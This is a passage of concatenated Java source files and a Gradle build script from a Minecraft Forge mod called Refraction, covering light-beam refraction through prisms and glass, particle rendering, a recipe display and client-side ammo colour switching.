com.teamwizardry.librarianlib.features.particle.ParticleSpawner; import com.teamwizardry.refraction.api.Constants; import com.teamwizardry.refraction.common.entity.EntityPlasma; import net.minecraft.client.renderer.entity.Render; import net.minecraft.client.renderer.entity.RenderManager; import net.minecraft.util.ResourceLocation; import net.minecraft.util.math.MathHelper; import net.minecraft.util.math.Vec3d; import javax.annotation.Nonnull; import javax.annotation.Nullable; import java.awt.*; import java.util.concurrent.ThreadLocalRandom; import static com.teamwizardry.refraction.common.entity.EntityPlasma.*; /** * Created by Demoniaque. */ public class RenderPlasma extends Render<EntityPlasma> { public RenderPlasma(RenderManager renderManagerIn) { super(renderManagerIn); } @Override public void doRender(@Nonnull EntityPlasma entity, double x, double y, double z, float entityYaw, float partialTicks) { super.doRender(entity, x, y, z, entityYaw, partialTicks); Color color = new Color(entity.getDataManager().get(DATA_COLOR), true); ParticleBuilder glitter = new ParticleBuilder(5); glitter.setRender(new ResourceLocation(Constants.MOD_ID, "particles/glow")); glitter.setAlphaFunction(new InterpFloatInOut(0.2f, 1f)); //glitter.enableMotionCalculation(); glitter.setCollision(true); ParticleSpawner.spawn(glitter, entity.world, new StaticInterp<>(entity.getPositionVector()), 4, 0, (aFloat, particleBuilder) -> { glitter.setColor(color); glitter.setLifetime(ThreadLocalRandom.current().nextInt(30)); glitter.setScale((float) (ThreadLocalRandom.current().nextFloat() + ThreadLocalRandom.current().nextDouble(0.5f))); }); if (entity.getDataManager().get(DATA_COLLIDED)) { Vec3d look = new Vec3d(entity.getDataManager().get(DATA_X), entity.getDataManager().get(DATA_Y), entity.getDataManager().get(DATA_Z)); ParticleBuilder poof = new ParticleBuilder(5); poof.setRender(new ResourceLocation(Constants.MOD_ID, "particles/glow")); poof.setAlphaFunction(new InterpFloatInOut(0.0f, 1f)); poof.setCollision(true); ParticleSpawner.spawn(poof, entity.world, new StaticInterp<>(entity.getPositionVector()), 4, 0, (aFloat, particleBuilder) -> { poof.setColor(color); poof.setLifetime(ThreadLocalRandom.current().nextInt(30)); poof.setScale((float) (ThreadLocalRandom.current().nextFloat() + ThreadLocalRandom.current().nextDouble(0.5f))); double radius = 0.5; double theta = 2.0f * (float) Math.PI * ThreadLocalRandom.current().nextFloat(); double r = radius * ThreadLocalRandom.current().nextFloat(); double x2 = r * MathHelper.cos((float) theta); double z2 = r * MathHelper.sin((float) theta); glitter.setPositionOffset(new Vec3d(x2, ThreadLocalRandom.current().nextDouble(0.5), z2)); glitter.setColor(new Color( Math.min(255, color.getRed() + ThreadLocalRandom.current().nextInt(20, 50)), Math.min(255, color.getGreen() + ThreadLocalRandom.current().nextInt(20, 50)), Math.min(255, color.getBlue() + ThreadLocalRandom.current().nextInt(20, 50)), 100)); glitter.setScale(1); glitter.setAlphaFunction(new InterpFloatInOut(0.3f, (float) ThreadLocalRandom.current().nextDouble(0.3, 1))); InterpCircle circle = new InterpCircle(look.scale(10), look, (float) color.getAlpha() / 200, 1, ThreadLocalRandom.current().nextFloat()); glitter.setPositionFunction(new InterpLine(Vec3d.ZERO, circle.get(0))); }); } } @Nullable @Override protected ResourceLocation getEntityTexture(@Nonnull EntityPlasma entity) { return null; } } <file_sep>package com.teamwizardry.refraction.common.core; import com.teamwizardry.librarianlib.features.math.Matrix4; import com.teamwizardry.librarianlib.features.network.PacketHandler; import com.teamwizardry.refraction.api.ConfigValues; import com.teamwizardry.refraction.api.Utils; import com.teamwizardry.refraction.api.beam.Beam; import com.teamwizardry.refraction.api.beam.BeamHitEvent; import com.teamwizardry.refraction.api.beam.ILightSink; import com.teamwizardry.refraction.api.raytrace.Tri; import com.teamwizardry.refraction.common.block.BlockLens; import com.teamwizardry.refraction.common.block.BlockPrism; import com.teamwizardry.refraction.common.effect.EffectAesthetic; import com.teamwizardry.refraction.common.network.PacketAXYZMarks; import com.teamwizardry.refraction.common.network.PacketLaserDisplayTick; import com.teamwizardry.refraction.init.ModBlocks; import net.minecraft.block.BlockStainedGlass; import net.minecraft.block.state.IBlockState; import net.minecraft.entity.player.EntityPlayer; import net.minecraft.init.Blocks; import net.minecraft.util.EntitySelectors; import net.minecraft.util.EnumFacing; import net.minecraft.util.math.BlockPos; import net.minecraft.util.math.Vec3d; import net.minecraft.world.World; import net.minecraftforge.common.MinecraftForge; import net.minecraftforge.event.world.BlockEvent; import net.minecraftforge.event.world.WorldEvent; import net.minecraftforge.fml.common.eventhandler.Event; import net.minecraftforge.fml.common.eventhandler.SubscribeEvent; import net.minecraftforge.fml.common.gameevent.TickEvent; import javax.annotation.Nonnull; import java.awt.*; import java.util.ArrayList; import java.util.List; /** * Created by Demoniaque */ public class EventHandler { public static final EventHandler INSTANCE = new EventHandler(); private EventHandler() { MinecraftForge.EVENT_BUS.register(this); } @SubscribeEvent public void worldUnload(WorldEvent.Unload event) { PacketAXYZMarks.controlPoints.clear(); } @SubscribeEvent public void worldLoad(WorldEvent.Load event) { PacketAXYZMarks.controlPoints.clear(); } @SubscribeEvent public void handleGlass(BeamHitEvent event) { if (event.getState().getBlock() instanceof ILightSink) return; if (event.getResult() != Event.Result.DEFAULT) return; Beam beam = event.getBeam(); Color dye; if (event.getState().getBlock() == Blocks.STAINED_GLASS || event.getState().getBlock() == Blocks.STAINED_GLASS_PANE) { dye = Utils.getColorFromDyeEnum(event.getState().getValue(BlockStainedGlass.COLOR)); } else if (event.getState().getBlock() == Blocks.GLASS_PANE || event.getState().getBlock() == Blocks.GLASS) { dye = beam.getColor(); } else return; Color color = new Color(dye.getRed(), dye.getGreen(), dye.getBlue(), (int) (beam.getAlpha() / 1.4)); fireColor(event.getWorld(), event.getPos(), event.getState(), beam.finalLoc, beam.finalLoc.subtract(beam.initLoc).normalize(), ConfigValues.GLASS_IOR, color, beam); event.setResult(Event.Result.DENY); } private void fireColor(World world, BlockPos pos, IBlockState state, Vec3d hitPos, Vec3d ref, double IORMod, Color color, Beam beam) { BlockPrism.RayTraceResultData<Vec3d> r = collisionRayTraceLaser(state, world, pos, hitPos.subtract(ref), hitPos.add(ref)); if (r != null && r.data != null) { Vec3d normal = r.data; ref = BlockLens.refracted(ConfigValues.AIR_IOR + IORMod, ConfigValues.GLASS_IOR + IORMod, ref, normal).normalize(); hitPos = r.hitVec; for (int i = 0; i < 5; i++) { r = collisionRayTraceLaser(state, world, pos, hitPos.add(ref), hitPos); // trace backward so we don't hit hitPos first if (r != null && r.data != null) { normal = r.data.scale(-1); Vec3d oldRef = ref; ref = BlockLens.refracted(ConfigValues.GLASS_IOR + IORMod, ConfigValues.AIR_IOR + IORMod, ref, normal).normalize(); if (Double.isNaN(ref.x) || Double.isNaN(ref.y) || Double.isNaN(ref.z)) { ref = oldRef; // it'll bounce back on itself and cause a NaN vector, that means we should stop break; } BlockLens.showBeam(world, hitPos, r.hitVec, color); hitPos = r.hitVec; } } beam.createSimilarBeam(hitPos, ref, new EffectAesthetic().setColor(color)).spawn(); } } private BlockPrism.RayTraceResultData<Vec3d> collisionRayTraceLaser(@Nonnull IBlockState blockState, @Nonnull World worldIn, @Nonnull BlockPos pos, @Nonnull Vec3d startRaw, @Nonnull Vec3d endRaw) { EnumFacing facing = EnumFacing.UP; Matrix4 matrixA = new Matrix4(); Matrix4 matrixB = new Matrix4(); switch (facing) { case UP: case DOWN: case EAST: break; case NORTH: matrixA.rotate(Math.toRadians(270), new Vec3d(0, -1, 0)); matrixB.rotate(Math.toRadians(270), new Vec3d(0, 1, 0)); break; case SOUTH: matrixA.rotate(Math.toRadians(90), new Vec3d(0, -1, 0)); matrixB.rotate(Math.toRadians(90), new Vec3d(0, 1, 0)); break; case WEST: matrixA.rotate(Math.toRadians(180), new Vec3d(0, -1, 0)); matrixB.rotate(Math.toRadians(180), new Vec3d(0, 1, 0)); break; } Vec3d a = new Vec3d(0.001, 0.001, 0), // This needs to be offset b = new Vec3d(1, 0.001, 0.5), c = new Vec3d(0.001, 0.001, 1), // and this too. Just so that blue refracts in ALL cases A = a.add(0, 0.998, 0), B = b.add(0, 0.998, 0), // these y offsets are to fix translocation issues C = c.add(0, 0.998, 0); Tri[] tris = new Tri[]{ new Tri(a, b, c), new Tri(A, C, B), new Tri(a, c, C), new Tri(a, C, A), new Tri(a, A, B), new Tri(a, B, b), new Tri(b, B, C), new Tri(b, C, c), }; Vec3d start = matrixA.apply(startRaw.subtract(new Vec3d(pos)).subtract(0.5, 0.5, 0.5)).add(0.5, 0.5, 0.5); Vec3d end = matrixA.apply(endRaw.subtract(new Vec3d(pos)).subtract(0.5, 0.5, 0.5)).add(0.5, 0.5, 0.5); Tri hitTri = null; Vec3d hit = null; double shortestSq = Double.POSITIVE_INFINITY; for (Tri tri : tris) { Vec3d v = tri.trace(start, end); if (v != null) { double distSq = start.subtract(v).lengthSquared(); if (distSq < shortestSq) { hit = v; shortestSq = distSq; hitTri = tri; } } } if (hit == null) return null; return new BlockPrism.RayTraceResultData<Vec3d>(matrixB.apply(hit.subtract(0.5, 0.5, 0.5)).add(0.5, 0.5, 0.5).add(new Vec3d(pos)), EnumFacing.UP, pos).data(matrixB.apply(hitTri.normal())); } public List<EntityPlayer> getPlayersWithinRange(World world, BlockPos pos, double range) { List<EntityPlayer> players = new ArrayList<>(); for (int i = 0; i < world.playerEntities.size(); ++i) { EntityPlayer entityplayer = world.playerEntities.get(i); if (EntitySelectors.NOT_SPECTATING.apply(entityplayer)) { double d0 = entityplayer.getDistanceSq(pos); if (range < 0.0D || d0 < range * range) players.add(entityplayer); } } return players; } @SubscribeEvent public void breakBlock(BlockEvent.BreakEvent event) { if (event.getWorld().getBlockState(event.getPos()).getBlock() == ModBlocks.LIGHT_BRIDGE) event.setCanceled(true); } @SubscribeEvent public void tick(TickEvent.ServerTickEvent event) { if (event.phase == TickEvent.Phase.START) { PacketHandler.NETWORK.sendToAll(new PacketLaserDisplayTick()); } } } <file_sep>package com.teamwizardry.refraction.api.beam; import com.google.common.collect.HashMultimap; import net.minecraft.util.math.AxisAlignedBB; import net.minecraft.util.math.BlockPos; import net.minecraft.util.math.Vec3d; import net.minecraft.world.World; import java.lang.ref.WeakReference; import java.util.HashSet; public class BlockTracker { public HashMultimap<BlockPos, Beam> locations; public WeakReference<World> world; public BlockTracker(World world) { this.world = new WeakReference<>(world); locations = HashMultimap.create(); } public void addBeam(Beam beam) { HashSet<BlockPos> possible = new HashSet<>(); Vec3d slope = beam.slope; Vec3d curPos = beam.initLoc; boolean finished = false; while (!finished) { Vec3d nextPos = curPos.add(slope); for (BlockPos pos : BlockPos.getAllInBox(new BlockPos(curPos), new BlockPos(nextPos))) possible.add(pos); if (curPos.distanceTo(beam.finalLoc) <= curPos.distanceTo(nextPos)) finished = true; curPos = nextPos; } Vec3d invSlope = new Vec3d(1 / slope.x, 1 / slope.y, 1 / slope.z); for (BlockPos pos : possible) { if (collides(beam, pos, invSlope)) locations.put(pos, beam); } locations.remove(new BlockPos(beam.initLoc), beam); locations.remove(beam.trace.getBlockPos(), beam); } private boolean collides(Beam beam, BlockPos pos, Vec3d invSlope) { boolean signX = invSlope.x < 0; boolean signY = invSlope.y < 0; boolean signZ = invSlope.z < 0; double txMin, txMax, tyMin, tyMax, tzMin, tzMax; AxisAlignedBB axis = new AxisAlignedBB(pos); txMin = ((signX ? axis.maxX : axis.minX) - beam.initLoc.x) * invSlope.x; txMax = ((signX ? axis.minX : axis.maxX) - beam.initLoc.x) * invSlope.x; tyMin = ((signY ? axis.maxY : axis.minY) - beam.initLoc.y) * invSlope.y; tyMax = ((signY ? axis.minY : axis.maxY) - beam.initLoc.y) * invSlope.y; tzMin = ((signZ ? axis.maxZ : axis.minZ) - beam.initLoc.z) * invSlope.z; tzMax = ((signZ ? axis.minZ : axis.maxZ) - beam.initLoc.z) * invSlope.z; if (txMin > txMax || tyMin > txMax) return false; if (tyMin > txMin) txMin = tyMin; if (tyMax < txMax) txMax = tyMax; if (txMin > tzMax || tzMin > txMax) return false; if (tzMin > txMin) txMin = tzMin; if (tzMax < txMax) txMax = tzMax; return true; } public void generateEffects() { if (world.get() != null) { for (BlockPos pos : locations.keySet()) { for (Beam beam : locations.get(pos)) { EffectTracker.addEffect(world.get(), new Vec3d(pos), beam.effect); } } } locations.clear(); } } <file_sep>package com.teamwizardry.refraction.client.gui.tablet; import com.google.gson.JsonObject; import com.teamwizardry.librarianlib.features.gui.component.GuiComponent; import com.teamwizardry.librarianlib.features.gui.components.ComponentSprite; import com.teamwizardry.librarianlib.features.gui.components.ComponentText; import com.teamwizardry.librarianlib.features.gui.components.ComponentVoid; import com.teamwizardry.librarianlib.features.gui.provided.book.IBookGui; import com.teamwizardry.librarianlib.features.gui.provided.book.context.Bookmark; import com.teamwizardry.librarianlib.features.gui.provided.book.helper.TranslationHolder; import com.teamwizardry.librarianlib.features.gui.provided.book.hierarchy.entry.Entry; import com.teamwizardry.librarianlib.features.gui.provided.book.hierarchy.page.Page; import com.teamwizardry.librarianlib.features.math.Vec2d; import com.teamwizardry.librarianlib.features.sprite.Sprite; import kotlin.jvm.functions.Function0; import net.minecraft.util.ResourceLocation; import net.minecraftforge.fml.relauncher.Side; import net.minecraftforge.fml.relauncher.SideOnly; import org.jetbrains.annotations.NotNull; import javax.annotation.Nonnull; import javax.annotation.Nullable; import java.util.ArrayList; import java.util.Collection; import java.util.Collections; import java.util.List; public class PagePicture implements Page { private ResourceLocation pictureLoc; private TranslationHolder subtext; private Entry entry; public PagePicture(Entry entry, JsonObject jsonElement) { if (jsonElement.get("subtext") != null) subtext = TranslationHolder.Companion.fromJson(jsonElement.get("subtext")); pictureLoc = new ResourceLocation(jsonElement.get("picture").getAsString()); this.entry = entry; } @Nullable @Override public Collection<String> getSearchableStrings() { return null; } @Nullable @Override public Collection<String> getSearchableKeys() { return null; } @Override public @Nonnull Entry getEntry() { return this.entry; } @NotNull @Override public List<Bookmark> getExtraBookmarks() { return new ArrayList<>(); } @NotNull @Override public List<Function0<GuiComponent>> createBookComponents(@NotNull IBookGui book, @NotNull Vec2d size) { ComponentVoid content = new ComponentVoid(16, 16); int x = (int)(-4 + 100 / 2.0 - 24.0 - 16d); int y = (int)(-16 + 100 / 2.0 - 16D - 8.0); content.add(new ComponentSprite(new Sprite(pictureLoc), x, y, 100, 100)); if (subtext != null) { ComponentText text = new ComponentText(size.getXi() / 2, size.getYi() * 3 / 4, ComponentText.TextAlignH.CENTER, ComponentText.TextAlignV.TOP); text.getText().setValue(subtext.toString()); text.getWrap().setValue(size.getXi() * 3 / 4); content.add(text); } return new ArrayList<>(Collections.singleton(() -> content)); } } <file_sep>package com.teamwizardry.refraction.common.block; import com.teamwizardry.librarianlib.features.base.block.BlockMod; import com.teamwizardry.librarianlib.features.utilities.client.TooltipHelper; import com.teamwizardry.refraction.api.Constants; import com.teamwizardry.refraction.api.Utils; import com.teamwizardry.refraction.api.beam.Beam; import com.teamwizardry.refraction.api.beam.ILightSink; import com.teamwizardry.refraction.common.item.ItemScrewDriver; import net.minecraft.block.SoundType; import net.minecraft.block.material.Material; import net.minecraft.block.state.IBlockState; import net.minecraft.client.util.ITooltipFlag; import net.minecraft.item.ItemStack; import net.minecraft.util.EnumFacing; import net.minecraft.util.math.BlockPos; import net.minecraft.util.math.Vec3d; import net.minecraft.world.IBlockAccess; import net.minecraft.world.World; import javax.annotation.Nonnull; import javax.annotation.Nullable; import java.util.List; import java.util.Objects; /** * Created by Saad on 10/16/2016. */ public class BlockReflectiveAlloyBlock extends BlockMod implements ILightSink { public BlockReflectiveAlloyBlock() { super("reflective_alloy_block", Material.IRON); setHardness(1F); setSoundType(SoundType.METAL); } @Override public void addInformation(ItemStack stack, @Nullable World worldIn, List<String> tooltip, ITooltipFlag flagIn) { TooltipHelper.addToTooltip(tooltip, "simple_name." + Constants.MOD_ID + ":" + getRegistryName().getPath()); } @Override public boolean handleBeam(@Nonnull World world, @Nonnull BlockPos pos, @Nonnull Beam beam) { EnumFacing facing = Utils.getCollisionSide(beam.trace); if (facing == null) return true; Vec3d incomingDir = beam.slope; Vec3d outgoingDir; Vec3d outgoingLoc = beam.finalLoc; switch (facing) { case UP: outgoingDir = new Vec3d(incomingDir.x, Math.abs(incomingDir.y), incomingDir.z); outgoingLoc = outgoingLoc.subtract(0, 0.001, 0); break; case DOWN: outgoingDir = new Vec3d(incomingDir.x, -Math.abs(incomingDir.y), incomingDir.z); break; case NORTH: outgoingDir = new Vec3d(incomingDir.x, incomingDir.y, -Math.abs(incomingDir.z)); break; case SOUTH: outgoingDir = new Vec3d(incomingDir.x, incomingDir.y, Math.abs(incomingDir.z)); outgoingLoc = outgoingLoc.subtract(0, 0, 0.001); break; case EAST: outgoingDir = new Vec3d(Math.abs(incomingDir.x), incomingDir.y, incomingDir.z); outgoingLoc = outgoingLoc.subtract(0.001, 0, 0); break; case WEST: outgoingDir = new Vec3d(-Math.abs(incomingDir.x), incomingDir.y, incomingDir.z); break; default: outgoingDir = incomingDir; } beam.createSimilarBeam(outgoingLoc, outgoingDir, beam.effect.copy().setPotency((int) (beam.getAlpha() / 1.05))).spawn(); return true; } @Override public boolean isToolEffective(String type, @Nonnull IBlockState state) { return super.isToolEffective(type, state) || Objects.equals(type, ItemScrewDriver.SCREWDRIVER_TOOL_CLASS); } @Override public boolean isBeaconBase(IBlockAccess worldObj, BlockPos pos, BlockPos beacon) { return true; } } <file_sep>package com.teamwizardry.refraction.client.jei; import com.teamwizardry.refraction.Refraction; import com.teamwizardry.refraction.api.Constants; import mezz.jei.api.IGuiHelper; import mezz.jei.api.gui.IDrawable; import mezz.jei.api.gui.IRecipeLayout; import mezz.jei.api.ingredients.IIngredients; import mezz.jei.api.recipe.IRecipeCategory; import mezz.jei.api.recipe.IRecipeWrapper; import net.minecraft.client.Minecraft; import net.minecraft.client.resources.I18n; import net.minecraft.item.ItemStack; import javax.annotation.Nonnull; import javax.annotation.Nullable; import java.util.List; /** * Created by Saad on 10/12/2016. */ @SuppressWarnings("rawtypes") public class AssemblyTableRecipeCategory implements IRecipeCategory { public static final String UID = Constants.MOD_ID + ".assembly_table"; private final IDrawable background; private final String localizedName; // private float hover = (float) (Math.random() * Math.PI * 2.0D); // private float transitionTimeX = 0, transitionTimeMaxX = 100; // private int tick = 0; // private boolean forwards = true; public AssemblyTableRecipeCategory(IGuiHelper guiHelper) { background = guiHelper.createBlankDrawable(180, 120); localizedName = I18n.format(Constants.MOD_ID + ".jei.assembly_table"); } @Nonnull @Override public String getUid() { return UID; } @Nonnull @Override public String getTitle() { return localizedName; } @Override public String getModName() { return Constants.MOD_NAME; } @Nonnull @Override public IDrawable getBackground() { return background; } @Nullable @Override public IDrawable getIcon() { return null; } @Override public void drawExtras(@Nonnull Minecraft minecraft) { } @SuppressWarnings("unchecked") @Override public void setRecipe(@Nonnull IRecipeLayout recipeLayout, @Nonnull IRecipeWrapper recipeWrapper, @Nonnull IIngredients ingredients) { if (!(recipeWrapper instanceof AssemblyTableRecipeWrapper)) return; int index = 0; List<List<ItemStack>> inputs = ingredients.getInputs(ItemStack.class); double slice = 2 * Math.PI / inputs.size(); for (int i = 0; i < inputs.size(); i++) { double angle = slice * i; int newX = (int) (82 + 50 * Math.cos(angle)); int newY = (int) (51 + 50 * Math.sin(angle)); recipeLayout.getItemStacks().init(index, true, newX, newY); List<ItemStack> obj = inputs.get(i); if (obj == null) continue; recipeLayout.getItemStacks().set(index, obj); index++; } recipeLayout.getItemStacks().init(index, true, 82, 51); recipeLayout.getItemStacks().set(index, ingredients.getOutputs(ItemStack.class).get(0)); } } <file_sep>package com.teamwizardry.refraction.client; import com.teamwizardry.librarianlib.features.helpers.ItemNBTHelper; import com.teamwizardry.librarianlib.features.network.PacketHandler; import com.teamwizardry.refraction.api.Constants; import com.teamwizardry.refraction.api.IAmmo; import com.teamwizardry.refraction.api.IAmmoConsumer; import com.teamwizardry.refraction.api.Utils; import com.teamwizardry.refraction.common.network.PacketAmmoColorChange; import net.minecraft.client.Minecraft; import net.minecraft.item.ItemStack; import net.minecraft.util.ResourceLocation; import net.minecraftforge.client.event.MouseEvent; import net.minecraftforge.client.event.TextureStitchEvent; import net.minecraftforge.common.MinecraftForge; import net.minecraftforge.fml.common.eventhandler.SubscribeEvent; import java.awt.*; import java.util.ArrayList; import java.util.List; import java.util.Set; import java.util.stream.Collectors; /** * Created by TheCodeWarrior */ public class EventHandlerClient { public static final EventHandlerClient INSTANCE = new EventHandlerClient(); public static int index = 0; private EventHandlerClient() { MinecraftForge.EVENT_BUS.register(this); } @SubscribeEvent public void stitch(TextureStitchEvent.Pre event) { event.getMap().registerSprite(new ResourceLocation(Constants.MOD_ID, "particles/glow")); event.getMap().registerSprite(new ResourceLocation(Constants.MOD_ID, "particles/star")); event.getMap().registerSprite(new ResourceLocation(Constants.MOD_ID, "particles/sparkle_blurred")); event.getMap().registerSprite(new ResourceLocation(Constants.MOD_ID, "particles/lens_flare_1")); } @SubscribeEvent public void onMouseEvent(MouseEvent event) { if (event.getDwheel() != 0 && Minecraft.getMinecraft().player.isSneaking()) { ItemStack stack = Minecraft.getMinecraft().player.getHeldItemMainhand(); if (stack.getItem() instanceof IAmmoConsumer) { List<ItemStack> ammoList = IAmmoConsumer.findAllAmmo(Minecraft.getMinecraft().player); if (ammoList.size() <= 0) { event.setCanceled(true); return; } Set<Color> colorSet = ammoList.stream().map(ammo -> new Color(((IAmmo) ammo.getItem()).getInternalColor(ammo), true)).collect(Collectors.toSet()); List<Color> colors = new ArrayList<>(colorSet); Color gunColor = new Color(ItemNBTHelper.getInt(stack, "color", 0xFFFFFF), true); int slot = -1; for (Color color : colors) if (Utils.doColorsMatchNoAlpha(color, gunColor)) { slot = colors.indexOf(color); break; } if (slot == -1) slot = 0; if (event.getDwheel() > 0) { if (colors.size() - 1 >= slot + 1) PacketHandler.NETWORK.sendToServer(new PacketAmmoColorChange(Minecraft.getMinecraft().player.inventory.getSlotFor(stack), colors.get(slot + 1))); else PacketHandler.NETWORK.sendToServer(new PacketAmmoColorChange(Minecraft.getMinecraft().player.inventory.getSlotFor(stack), colors.get(0))); } else if (event.getDwheel() < 0) { if (slot - 1 >= 0) PacketHandler.NETWORK.sendToServer(new PacketAmmoColorChange(Minecraft.getMinecraft().player.inventory.getSlotFor(stack), colors.get(slot - 1))); else PacketHandler.NETWORK.sendToServer(new PacketAmmoColorChange(Minecraft.getMinecraft().player.inventory.getSlotFor(stack), colors.get(colors.size() - 1))); } event.setCanceled(true); } } } } <file_sep>buildscript { repositories { jcenter() maven { name = "forge" url = "http://files.minecraftforge.net/maven" } } dependencies { classpath "net.minecraftforge.gradle:ForgeGradle:2.3-SNAPSHOT" } } apply plugin: "net.minecraftforge.gradle.forge" version = "$mod_version.$patch_version" group = "com.teamwizardry" archivesBaseName = "refraction-$mc_version" sourceCompatibility = 1.8 targetCompatibility = 1.8 minecraft { version = "$mc_version-$forge_version" runDir = "run" mappings = "$mcp_version" replace 'GRADLE:VERSION', "$mod_version" replace 'required-before:librarianlib', 'required-before:librarianlib@' + liblib_version replaceIn 'Constants.java' } repositories { mavenCentral() maven { url = "http://maven.bluexin.be/repository/snapshots/" } maven { url = "http://dvs1.progwml6.com/files/maven" } maven { url = "http://maven.tterrag.com/" } maven { url = "http://maven.blamejared.com" } maven { url = 'http://maven.mcmoddev.com' } } dependencies { compile "com.teamwizardry.librarianlib:librarianlib-1.12.2:$liblib_version-SNAPSHOT:deobf" deobfCompile "mezz.jei:jei_1.12.2:$jei_version:api" compile "CraftTweaker2:CraftTweaker2-MC1120-Main:1.12-$ct_version" compile "net.darkhax.tesla:Tesla-1.12.2:$tesla_version" runtime "mezz.jei:jei_1.12.2:$jei_version" } processResources { // this will ensure that this task is redone when the versions change. inputs.property "version", project.version inputs.property "mcversion", project.minecraft.version // replace stuff in mcmod.info, nothing else from(sourceSets.main.resources.srcDirs) { include "mcmod.info" // replace version and mcversion expand "version": project.version, "mcversion": project.minecraft.version } // copy everything else, thats not the mcmod.info from(sourceSets.main.resources.srcDirs) { exclude "mcmod.info" } } idea { module { inheritOutputDirs = false outputDir = compileJava.destinationDir testOutputDir = compileTestJava.destinationDir } } <file_sep>package com.teamwizardry.refraction.common.block; import com.teamwizardry.librarianlib.features.base.block.BlockMod; import com.teamwizardry.librarianlib.features.math.Matrix4; import com.teamwizardry.librarianlib.features.utilities.client.TooltipHelper; import com.teamwizardry.refraction.api.ConfigValues; import com.teamwizardry.refraction.api.Constants; import com.teamwizardry.refraction.api.beam.Beam; import com.teamwizardry.refraction.api.beam.EffectTracker; import com.teamwizardry.refraction.api.beam.ILightSink; import com.teamwizardry.refraction.api.raytrace.ILaserTrace; import com.teamwizardry.refraction.api.raytrace.Tri; import com.teamwizardry.refraction.common.item.ItemScrewDriver; import net.minecraft.block.SoundType; import net.minecraft.block.material.Material; import net.minecraft.block.properties.PropertyEnum; import net.minecraft.block.state.BlockStateContainer; import net.minecraft.block.state.IBlockState; import net.minecraft.client.util.ITooltipFlag; import net.minecraft.entity.Entity; import net.minecraft.entity.EntityLivingBase; import net.minecraft.item.ItemStack; import net.minecraft.util.BlockRenderLayer; import net.minecraft.util.EnumFacing; import net.minecraft.util.Mirror; import net.minecraft.util.Rotation; import net.minecraft.util.math.BlockPos; import net.minecraft.util.math.RayTraceResult; import net.minecraft.util.math.Vec3d; import net.minecraft.world.IBlockAccess; import net.minecraft.world.World; import net.minecraftforge.fml.relauncher.Side; import net.minecraftforge.fml.relauncher.SideOnly; import javax.annotation.Nonnull; import javax.annotation.Nullable; import java.awt.*; import java.util.List; import java.util.Objects; /** * Created by Demoniaque */ public class BlockPrism extends BlockMod implements ILaserTrace, ILightSink { public static final PropertyEnum<EnumFacing> FACING = PropertyEnum.create("facing", EnumFacing.class); public BlockPrism() { super("prism", Material.GLASS); setHardness(1F); setSoundType(SoundType.GLASS); } @Override public boolean handleBeam(@Nonnull World world, @Nonnull BlockPos pos, @Nonnull Beam beam) { if(beam.isAesthetic()) return true; IBlockState state = world.getBlockState(pos); Color color = beam.getColor(); int sum = color.getRed() + color.getBlue() + color.getGreen(); double red = color.getAlpha() * color.getRed() / sum; double green = color.getAlpha() * color.getGreen() / sum; double blue = color.getAlpha() * color.getBlue() / sum; Vec3d hitPos = beam.finalLoc; if (color.getRed() != 0) fireColor(world, pos, state, hitPos, beam.finalLoc.subtract(beam.initLoc).normalize(), ConfigValues.RED_IOR, new Color(color.getRed(), 0, 0, (int) red), beam); if (color.getGreen() != 0) fireColor(world, pos, state, hitPos, beam.finalLoc.subtract(beam.initLoc).normalize(), ConfigValues.GREEN_IOR, new Color(0, color.getGreen(), 0, (int) green), beam); if (color.getBlue() != 0) fireColor(world, pos, state, hitPos, beam.finalLoc.subtract(beam.initLoc).normalize(), ConfigValues.BLUE_IOR, new Color(0, 0, color.getBlue(), (int) blue), beam); return true; } private void fireColor(World world, BlockPos pos, IBlockState state, Vec3d hitPos, Vec3d ref, double IORMod, Color color, Beam beam) { BlockPrism.RayTraceResultData<Vec3d> r = collisionRayTraceLaser(state, world, pos, hitPos.subtract(ref), hitPos.add(ref)); if (r != null && r.data != null) { Vec3d normal = r.data; ref = BlockLens.refracted(ConfigValues.AIR_IOR + IORMod, ConfigValues.GLASS_IOR + IORMod, ref, normal).normalize(); hitPos = r.hitVec; for (int i = 0; i < 5; i++) { r = collisionRayTraceLaser(state, world, pos, hitPos.add(ref), hitPos); // trace backward so we don't hit hitPos first if (r != null && r.data != null) { normal = r.data.scale(-1); Vec3d oldRef = ref; ref = BlockLens.refracted(ConfigValues.GLASS_IOR + IORMod, ConfigValues.AIR_IOR + IORMod, ref, normal).normalize(); if (Double.isNaN(ref.x) || Double.isNaN(ref.y) || Double.isNaN(ref.z)) { ref = oldRef; // it'll bounce back on itself and cause a NaN vector, that means we should stop break; } BlockLens.showBeam(world, hitPos, r.hitVec, color); hitPos = r.hitVec; } } beam.createSimilarBeam(hitPos, ref, EffectTracker.getEffect(color)).spawn(); } } @SuppressWarnings("deprecation") @Nonnull @Override public IBlockState getStateForPlacement(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer) { return this.getStateFromMeta(meta).withProperty(FACING, placer.getHorizontalFacing()); } @Override public void addInformation(ItemStack stack, @Nullable World worldIn, List<String> tooltip, ITooltipFlag flagIn) { TooltipHelper.addToTooltip(tooltip, "simple_name." + Constants.MOD_ID + ":" + getRegistryName().getPath()); } @SuppressWarnings("deprecation") @Nonnull @Override public IBlockState getStateFromMeta(int meta) { return getDefaultState().withProperty(FACING, EnumFacing.byIndex(meta & 7)); } @Override public int getMetaFromState(IBlockState state) { return state.getValue(FACING).getIndex(); } @Nonnull @Override protected BlockStateContainer createBlockState() { return new BlockStateContainer(this, FACING); } @Override @SideOnly(Side.CLIENT) public BlockRenderLayer getRenderLayer() { return BlockRenderLayer.TRANSLUCENT; } @Nonnull @Override @SuppressWarnings("deprecation") public IBlockState withRotation(@Nonnull IBlockState state, Rotation rot) { return state.withProperty(FACING, rot.rotate(state.getValue(FACING))); } @Nonnull @Override @SuppressWarnings("deprecation") public IBlockState withMirror(@Nonnull IBlockState state, Mirror mirrorIn) { return state.withRotation(mirrorIn.toRotation(state.getValue(FACING))); } @Override @SuppressWarnings("deprecation") public boolean isNormalCube(IBlockState state) { return false; } @Override @SuppressWarnings("deprecation") public boolean isBlockNormalCube(IBlockState state) { return false; } @Override @SuppressWarnings("deprecation") public boolean isOpaqueCube(IBlockState state) { return false; } @Override @SuppressWarnings("deprecation") public boolean isFullCube(IBlockState state) { return false; } @Override @SuppressWarnings("deprecation") public boolean isFullBlock(IBlockState state) { return false; } @Override @SuppressWarnings("deprecation") public boolean isSideSolid(IBlockState base_state,@Nonnull IBlockAccess world,@Nonnull BlockPos pos, EnumFacing side) { return 